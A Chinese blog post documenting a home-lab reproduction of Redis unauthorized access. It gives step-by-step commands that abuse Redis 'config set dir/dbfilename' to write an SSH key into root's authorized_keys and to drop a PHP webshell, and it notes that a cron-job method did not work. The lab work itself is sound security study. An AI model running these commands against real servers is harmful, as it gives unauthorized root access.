mmzkyl
Redis 未授权访问
11/13
本文最后更新于2021年11月13日,已超过234天没有更新。如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!
随笔
- 2021-11-13 11:10
本来使用网上在线靶场复现环境,结果找了几个发现都有一些问题,一般都是执行Redis的权限不够,导致虽然存在未授权访问,但是无法进行利用,所以就自己在本地搭了一个环境进行测试 - 2021-11-13 11:18
个人认为Redis未授权访问漏洞利用方式核心是:将Payload写入Redis中,然后通过数据库文件的保存将Payload保存至相应的目标文件 - 2021-11-13 11:20
一般来说利用方式有三种- 方式一:写入SSH公钥,从而使用私钥进行免密登陆
- 方式二:写入Webshell进行利用
- 方式三:写入定时任务进行利用
复现环境
- 攻击机
- 系统:Kali
- IP:192.168.17.128
- Redis版本:redis-2.8.17
- 靶机
- 系统:Kali
- IP:192.168.17.132
- Redis版本:redis-2.8.17
漏洞复现
- 下载redis
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
- 解压安装包
tar -vxzf redis-2.8.17.tar.gz
- 进入Redis目录,执行命令:make 进行编译安装
- 进入Redis/src目录,执行如下命令
cp redis-server /usr/bin cp redis-cli /usr/bin
- 进入Redis目录,执行如下命令
cp redis.conf /etc/
- 靶机启动Redis服务
redis-server /etc/redis.conf
漏洞利用方式一
- 尝试攻击机能否成功连接靶机
redis-cli -h 192.168.17.132
- 先生成公私钥留待使用
ssh-keygen -t rsa
- 将生成的公钥进行拼接(拼接换行符,防止被数据干扰)并保存至 ssh.txt
(echo -e "\n\n";cat /root/.ssh/id_rsa.pub;echo -e "\n\n") > ssh.txt
- 保存好公钥后,按顺序执行下列命令
cat ssh.txt | redis-cli -h 192.168.17.132 -x set ssh_mmzkyl redis-cli -h 192.168.17.132 config set dir /root/.ssh config set dbfilename authorized_keys save exit
- 公钥写入成功,尝试使用私钥进行登陆
ssh -i /root/.ssh/id_rsa root@192.168.17.132
- 登陆成功,利用成功
漏洞利用方式二
- 由于Webshell实际利用还需要开启Apache等服务进行测试,所以在此新建一个 www 目录,将其假设为 Apache 服务的根目录,尝试将 Webshell 写入 www 目录即可
- 攻击机新建 shell.php 文件,向其写入如下内容
<?php phpinfo();?>
- 按照如下顺序执行命令
cat shell.php | redis-cli -h 192.168.17.132 -x set shell_mmzkyl redis-cli -h 192.168.17.132 config set dir /root/Desktop/www config set dbfilename sys.php save exit
- 进入靶机查看Webshell写入结果
- Webshell写入成功,利用完成
漏洞利用方式三
- 计划任务是写进去了,但是计划任务不能正常执行,所以这个利用方式三先暂时放一下了(日后补上)